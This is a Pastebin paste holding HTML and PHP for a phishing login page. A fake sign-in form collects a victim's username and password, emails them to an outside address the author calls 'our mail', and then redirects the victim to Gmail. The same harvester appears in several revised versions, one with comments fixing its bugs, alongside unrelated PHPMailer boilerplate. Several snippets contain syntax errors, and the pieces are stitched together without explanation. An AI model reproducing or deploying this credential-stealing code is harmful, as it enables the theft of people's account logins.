Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">
- <form action="send.php" method="post">
- <input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
- <input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
- <input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22> </a></div>
- </form>
- <?php
- if(isset($_POST['submit'])){
- $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
- $user_name = $_POST['username'];
- $password = $_POST['password'];
- $subject = "You got mail!";
- $message = $username . " " . $password . ";
- mail($to,$subject,$message,$headers);
- }
- header (Location: "www.gmail.com");
- ?>
- <?php
- if (isset ( $_POST ['submit'] )) {
- require 'PHPMailer/PHPMailerAutoload.php';
- $mail = new PHPMailer ();
- $mail->isSMTP (); // Set mailer to use SMTP
- $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
- $mail->SMTPAuth = true; // Enable SMTP authentication
- $mail->Username = 'youremail@xyz.com'; // SMTP username
- $mail->Password = 'password'; // SMTP password
- $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
- $mail->Port = 587; // TCP port to connect to
- $mail->setFrom ( 'Fromemailaddress', 'xyz' );
- $mail->addReplyTo ( 'toemailaddress', 'xyz' );
- $mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
- // $mail->addCC('cc@example.com');
- // $mail->addBCC('bcc@example.com');
- $mail->isHTML ( true ); // Set email format to HTML
- $bodyContent = '<h1>hello </h1>';
- $bodyContent .= '<p>This is my 1st email through php</p>';
- $mail->Subject = 'Email from Localhost by CodexWorld';
- $mail->Body = $bodyContent;
- if (! $mail->send ()) {
- echo 'Message could not be sent.';
- echo 'Mailer Error: ' . $mail->ErrorInfo;
- } else {
- echo 'Message has been sent';
- }
- }
- ?>
- <form action="#" method="post">
- <input name="username" type="text"> <input name="password"
- type="password"> <input type="submit" name="submit" id="submit" />
- </form>
- if(mail('','','','')){
- //redirect line here
- }else{
- //error statement here
- }
- <?php
- if(isset($_POST['submit'])){
- $to = "salut@bagaiacimailu.com"; // this id will get the mail
- $user_name = $_POST['username'];
- $password = $_POST['password'];
- $subject = "You got mail!";
- $header = "From: noreply@yourdomainname.com";//this is where the mail. comes from. you were missing this parameter. it was not created
- $message = $user_name . " " . $password . ";
- if(mail($to,$subject,$message,$headers)){ //this is true if mail is sent other wise it will go into else block
- header (Location: "www.gmail.com");
- }else{
- echo 'Mail was not sent...'; //or redirect to some other page if you like
- }
- }
- ?>
- <?php
- if(isset($_POST['submit'])){
- $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
- $user_name = $_POST['username'];
- $password = $_POST['password'];
- $subject = "You got mail!";
- $message = $username . " " . $password;
- mail($to,$subject,$message);
- }
- header ("Location: https://www.gmail.com");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement